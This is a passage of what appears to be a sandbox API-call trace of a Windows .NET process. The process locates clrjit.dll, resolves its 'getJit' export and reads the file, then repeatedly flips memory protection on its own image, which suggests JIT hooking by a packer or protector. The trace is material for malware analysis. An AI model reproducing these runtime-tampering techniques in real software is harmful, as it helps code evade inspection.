lpBaseName="MSCOREE.DLL") returned 0xb [0023.106] lstrcmpiA (lpString1="MSCOREE.DLL", lpString2="clrjit.dll") returned 1 [0023.106] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x769a0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="KERNEL32.dll") returned 0xc [0023.107] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="clrjit.dll") returned 1 [0023.107] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77990000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0023.107] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="clrjit.dll") returned 1 [0023.107] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x771a0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0023.107] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="clrjit.dll") returned -1 [0023.107] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x776b0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="msvcrt.dll") returned 0xa [0023.107] lstrcmpiA (lpString1="msvcrt.dll", lpString2="clrjit.dll") returned 1 [0023.107] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x759a0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="sechost.dll") returned 0xb [0023.107] lstrcmpiA (lpString1="sechost.dll", lpString2="clrjit.dll") returned 1 [0023.107] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76c70000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="RPCRT4.dll") returned 0xa [0023.107] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="clrjit.dll") returned 1 [0023.107] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75940000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="SspiCli.dll") returned 0xb [0023.107] lstrcmpiA (lpString1="SspiCli.dll", lpString2="clrjit.dll") returned 1 [0023.107] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75930000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0023.108] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="clrjit.dll") returned 1 [0023.108] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x753e0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="mscoreei.dll") returned 0xc [0023.108] lstrcmpiA (lpString1="mscoreei.dll", lpString2="clrjit.dll") returned 1 [0023.108] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77360000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0023.108] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="clrjit.dll") returned 1 [0023.108] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77800000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="GDI32.dll") returned 0x9 [0023.108] lstrcmpiA (lpString1="GDI32.dll", lpString2="clrjit.dll") returned 1 [0023.108] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76d60000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="USER32.dll") returned 0xa [0023.108] lstrcmpiA (lpString1="USER32.dll", lpString2="clrjit.dll") returned 1 [0023.108] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75b70000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="LPK.dll") returned 0x7 [0023.109] lstrcmpiA (lpString1="LPK.dll", lpString2="clrjit.dll") returned 1 [0023.109] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77760000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="USP10.dll") returned 0x9 [0023.109] lstrcmpiA (lpString1="USP10.dll", lpString2="clrjit.dll") returned 1 [0023.109] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77030000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="IMM32.DLL") returned 0x9 [0023.109] lstrcmpiA (lpString1="IMM32.DLL", lpString2="clrjit.dll") returned 1 [0023.109] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x770d0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="MSCTF.dll") returned 0x9 [0023.109] lstrcmpiA (lpString1="MSCTF.dll", lpString2="clrjit.dll") returned 1 [0023.109] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75870000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="VERSION.dll") returned 0xb [0023.110] lstrcmpiA (lpString1="VERSION.dll", lpString2="clrjit.dll") returned 1 [0023.110] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74640000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="clr.dll") returned 0x7 [0023.110] lstrcmpiA (lpString1="clr.dll", lpString2="clrjit.dll") returned -1 [0023.110] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x752e0000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0023.110] lstrcmpiA (lpString1="MSVCR120_CLR0400.dll", lpString2="clrjit.dll") returned 1 [0023.110] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x72b80000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0023.110] lstrcmpiA (lpString1="mscorlib.ni.dll", lpString2="clrjit.dll") returned 1 [0023.110] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75a10000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="ole32.dll") returned 0x9 [0023.111] lstrcmpiA (lpString1="ole32.dll", lpString2="clrjit.dll") returned 1 [0023.111] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75460000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="uxtheme.dll") returned 0xb [0023.111] lstrcmpiA (lpString1="uxtheme.dll", lpString2="clrjit.dll") returned 1 [0023.111] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75260000, lpBaseName=0x3ed018, nSize=0x400 | out: lpBaseName="clrjit.dll") returned 0xa [0023.111] lstrcmpiA (lpString1="clrjit.dll", lpString2="clrjit.dll") returned 0 [0023.111] GetProcessHeap () returned 0x510000 [0023.111] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5784d8 | out: hHeap=0x510000) returned 1 [0023.111] lstrcatW (in: lpString1="", lpString2="clrjit.dll" | out: lpString1="clrjit.dll") returned="clrjit.dll" [0023.111] GetFileVersionInfoSizeW (in: lptstrFilename="clrjit.dll", lpdwHandle=0x3eda10 | out: lpdwHandle=0x3eda10) returned 0x7f4 [0023.112] GetProcessHeap () returned 0x510000 [0023.112] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f4) returned 0x5784d8 [0023.112] GetFileVersionInfoW (in: lptstrFilename="clrjit.dll", dwHandle=0x0, dwLen=0x7f4, lpData=0x5784d8 | out: lpData=0x5784d8) returned 1 [0023.112] lstrcpyA (in: lpString1=0x3eda1c, lpString2="\\StringFileInfo\\040904b0\\FileVersion" | out: lpString1="\\StringFileInfo\\040904b0\\FileVersion") returned="\\StringFileInfo\\040904b0\\FileVersion" [0023.112] VerQueryValueA (in: pBlock=0x5784d8, lpSubBlock="\\StringFileInfo\\040904b0\\FileVersion", lplpBuffer=0x3eda18, puLen=0x3eda14 | out: lplpBuffer=0x3eda18*=0x578a5c, puLen=0x3eda14) returned 1 [0023.112] lstrcmpA (lpString1="4.6.81.0 built by: NETFXREL2", lpString2="4.0.30319.17020 built by: FXM3REL") returned 1 [0023.112] LoadLibraryW (lpLibFileName="clrjit.dll") returned 0x75260000 [0023.112] GetProcAddress (hModule=0x75260000, lpProcName="getJit") returned 0x752af70e [0023.112] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0023.112] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0023.112] GetProcessHeap () returned 0x510000 [0023.112] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5784d8 | out: hHeap=0x510000) returned 1 [0023.112] GetModuleFileNameW (in: hModule=0x75260000, lpFilename=0x3ed6b4, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0023.112] lstrcpyW (in: lpString1=0x3ed188, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" [0023.112] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll"), dwDesiredAccess=0x1, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0023.112] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x3ecea4 | out: lpFileSizeHigh=0x3ecea4*=0x0) returned 0x7c898 [0023.112] GetProcessHeap () returned 0x510000 [0023.113] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7c898) returned 0x578e00 [0023.113] ReadFile (in: hFile=0x25c, lpBuffer=0x578e00, nNumberOfBytesToRead=0x7c898, lpNumberOfBytesRead=0x3ecea0, lpOverlapped=0x0 | out: lpBuffer=0x578e00*, lpNumberOfBytesRead=0x3ecea0*=0x7c898, lpOverlapped=0x0) returned 1 [0023.167] CloseHandle (hObject=0x25c) returned 1 [0023.167] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0023.167] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0023.167] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0023.167] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0023.167] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0023.167] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0023.167] GetProcessHeap () returned 0x510000 [0023.167] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1d4) returned 0x578ab0 [0023.167] GetProcessHeap () returned 0x510000 [0023.167] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1d4) returned 0x5f5a68 [0023.167] GetProcessHeap () returned 0x510000 [0023.167] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6cf58) returned 0x1150048 [0023.172] GetProcessHeap () returned 0x510000 [0023.172] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6cf58) returned 0x11bcfa8 [0023.179] GetProcessHeap () returned 0x510000 [0023.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5f5a68 | out: hHeap=0x510000) returned 1 [0023.179] GetProcessHeap () returned 0x510000 [0023.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x578e00 | out: hHeap=0x510000) returned 1 [0023.179] GetProcessHeap () returned 0x510000 [0023.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x578ab0 | out: hHeap=0x510000) returned 1 [0023.179] GetProcessHeap () returned 0x510000 [0023.179] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575b70 [0023.179] VirtualQuery (in: lpAddress=0x752ce158, lpBuffer=0x3edde4, dwLength=0x1c | out: lpBuffer=0x3edde4*(BaseAddress=0x752ce000, AllocationBase=0x75260000, AllocationProtect=0x80, RegionSize=0x9000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0023.179] VirtualProtect (in: lpAddress=0x752ce000, dwSize=0x9000, flNewProtect=0x4, lpflOldProtect=0x3eddf8 | out: lpflOldProtect=0x3eddf8*=0x2) returned 1 [0023.179] VirtualProtect (in: lpAddress=0x752ce000, dwSize=0x9000, flNewProtect=0x2, lpflOldProtect=0x3edde0 | out: lpflOldProtect=0x3edde0*=0x4) returned 1 [0023.180] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ecf6c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0023.180] GetProcessHeap () returned 0x510000 [0023.180] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575b88 [0023.180] GetCurrentProcess () returned 0xffffffff [0023.180] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0x3ecef8 | out: lphModule=0x0, lpcbNeeded=0x3ecef8) returned 1 [0023.181] GetProcessHeap () returned 0x510000 [0023.181] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x240) returned 0x5f5a68 [0023.181] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x5f5a68, cb=0x240, lpcbNeeded=0x3ecef8 | out: lphModule=0x5f5a68, lpcbNeeded=0x3ecef8) returned 1 [0023.181] GetModuleInformation (in: hProcess=0xffffffff, hModule=0x1360000, lpmodinfo=0x3ecee8, cb=0xc | out: lpmodinfo=0x3ecee8*(lpBaseOfDll=0x1360000, SizeOfImage=0x7bc000, EntryPoint=0x1b16d12)) returned 1 [0023.181] GetProcessHeap () returned 0x510000 [0023.181] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5f5a68 | out: hHeap=0x510000) returned 1 [0023.181] VirtualQuery (in: lpAddress=0x1362008, lpBuffer=0x3ec8d4, dwLength=0x1c | out: lpBuffer=0x3ec8d4*(BaseAddress=0x1362000, AllocationBase=0x1360000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0023.181] VirtualQuery (in: lpAddress=0x136204f, lpBuffer=0x3ec8d4, dwLength=0x1c | out: lpBuffer=0x3ec8d4*(BaseAddress=0x1362000, AllocationBase=0x1360000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0023.181] VirtualQuery (in: lpAddress=0x1362d7c, lpBuffer=0x3ec8d4, dwLength=0x1c | out: lpBuffer=0x3ec8d4*(BaseAddress=0x1362000, AllocationBase=0x1360000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0023.182] VirtualQuery (in: lpAddress=0x13684b3, lpBuffer=0x3ec8d4, dwLength=0x1c | out: lpBuffer=0x3ec8d4*(BaseAddress=0x1368000, AllocationBase=0x1360000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0023.182] VirtualQuery (in: lpAddress=0x13684b4, lpBuffer=0x3ec8d4, dwLength=0x1c | out: lpBuffer=0x3ec8d4*(BaseAddress=0x1368000, AllocationBase=0x1360000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0023.182] VirtualQuery (in: lpAddress=0x13684c3, lpBuffer=0x3ec8d4, dwLength=0x1c | out: lpBuffer=0x3ec8d4*(BaseAddress=0x1368000, AllocationBase=0x1360000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0023.182] GetProcessHeap () returned 0x510000 [0023.182] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1810) returned 0x578e00 [0023.182] GetProcessHeap () returned 0x510000 [0023.182] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x559e50 [0023.182] GetProcessHeap () returned 0x510000 [0023.182] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x56fad8 [0023.182] GetProcessHeap () returned 0x510000 [0023.182] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x572990 [0023.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ec788 | out: lpSystemTimeAsFileTime=0x3ec788*(dwLowDateTime=0x27fe3340, dwHighDateTime=0x1d4e94c)) [0023.182] CompareFileTime (lpFileTime1=0x3ec790, lpFileTime2=0x3ec788) returned 1 [0023.182] GetProcessHeap () returned 0x510000 [0023.182] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x575ba0 [0023.182] GetProcessHeap () returned 0x510000 [0023.182] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x559d70 [0023.182] VirtualProtect (in: lpAddress=0x13620b8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.183] VirtualProtect (in: lpAddress=0x13620c0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.183] VirtualProtect (in: lpAddress=0x13620c8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.183] VirtualProtect (in: lpAddress=0x13620d0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.184] VirtualProtect (in: lpAddress=0x13620d8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.184] VirtualProtect (in: lpAddress=0x13620e0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.184] VirtualProtect (in: lpAddress=0x13620e8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.185] VirtualProtect (in: lpAddress=0x13620f0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.185] VirtualProtect (in: lpAddress=0x13620f8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.185] VirtualProtect (in: lpAddress=0x1362100, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.185] VirtualProtect (in: lpAddress=0x1362118, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.186] VirtualProtect (in: lpAddress=0x1362120, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.186] VirtualProtect (in: lpAddress=0x1362128, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.186] VirtualProtect (in: lpAddress=0x1362130, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.186] VirtualProtect (in: lpAddress=0x1362138, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.187] VirtualProtect (in: lpAddress=0x1362140, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.187] VirtualProtect (in: lpAddress=0x1362150, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.187] VirtualProtect (in: lpAddress=0x1362158, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.188] VirtualProtect (in: lpAddress=0x1362170, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.188] VirtualProtect (in: lpAddress=0x1362178, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.188] VirtualProtect (in: lpAddress=0x1362180, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.189] VirtualProtect (in: lpAddress=0x1362188, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.189] VirtualProtect (in: lpAddress=0x1362190, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.189] VirtualProtect (in: lpAddress=0x1362198, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.189] VirtualProtect (in: lpAddress=0x13621a0, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.190] VirtualProtect (in: lpAddress=0x13621a8, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.190] VirtualProtect (in: lpAddress=0x13621b8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.191] VirtualProtect (in: lpAddress=0x13621c0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.191] VirtualProtect (in: lpAddress=0x13621c8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.191] VirtualProtect (in: lpAddress=0x13621d0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.191] VirtualProtect (in: lpAddress=0x13621d8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.192] VirtualProtect (in: lpAddress=0x13621e0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.192] VirtualProtect (in: lpAddress=0x13621e8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.192] VirtualProtect (in: lpAddress=0x13621f0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.193] VirtualProtect (in: lpAddress=0x13621f8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.193] VirtualProtect (in: lpAddress=0x1362200, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.193] VirtualProtect (in: lpAddress=0x1362208, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.194] VirtualProtect (in: lpAddress=0x1362210, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.194] VirtualProtect (in: lpAddress=0x1362250, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.194] VirtualProtect (in: lpAddress=0x1362258, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.194] VirtualProtect (in: lpAddress=0x1362260, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.195] VirtualProtect (in: lpAddress=0x1362268, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.195] VirtualProtect (in: lpAddress=0x1362274, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.195] VirtualProtect (in: lpAddress=0x136227c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.196] VirtualProtect (in: lpAddress=0x1362284, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.196] VirtualProtect (in: lpAddress=0x136228c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.196] VirtualProtect (in: lpAddress=0x1362294, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.243] VirtualProtect (in: lpAddress=0x136229c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.243] VirtualProtect (in: lpAddress=0x13622a4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.244] VirtualProtect (in: lpAddress=0x13622ac, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.244] VirtualProtect (in: lpAddress=0x13622b4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.244] VirtualProtect (in: lpAddress=0x13622bc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.244] VirtualProtect (in: lpAddress=0x13622c4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.245] VirtualProtect (in: lpAddress=0x13622cc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.245] VirtualProtect (in: lpAddress=0x13622d4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.245] VirtualProtect (in: lpAddress=0x13622dc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.246] VirtualProtect (in: lpAddress=0x13622e4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.246] VirtualProtect (in: lpAddress=0x13622ec, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.246] VirtualProtect (in: lpAddress=0x1362308, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x20) returned 1 [0023.247] VirtualProtect (in: lpAddress=0x1362310, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x3ec9b4 | out: lpflOldProtect=0x3ec9b4*=0x4) returned 1 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x564158 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x564168 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x564178 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x564188 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x564198 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5641a8 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5641b8 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5641c8 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5641d8 [0023.247] 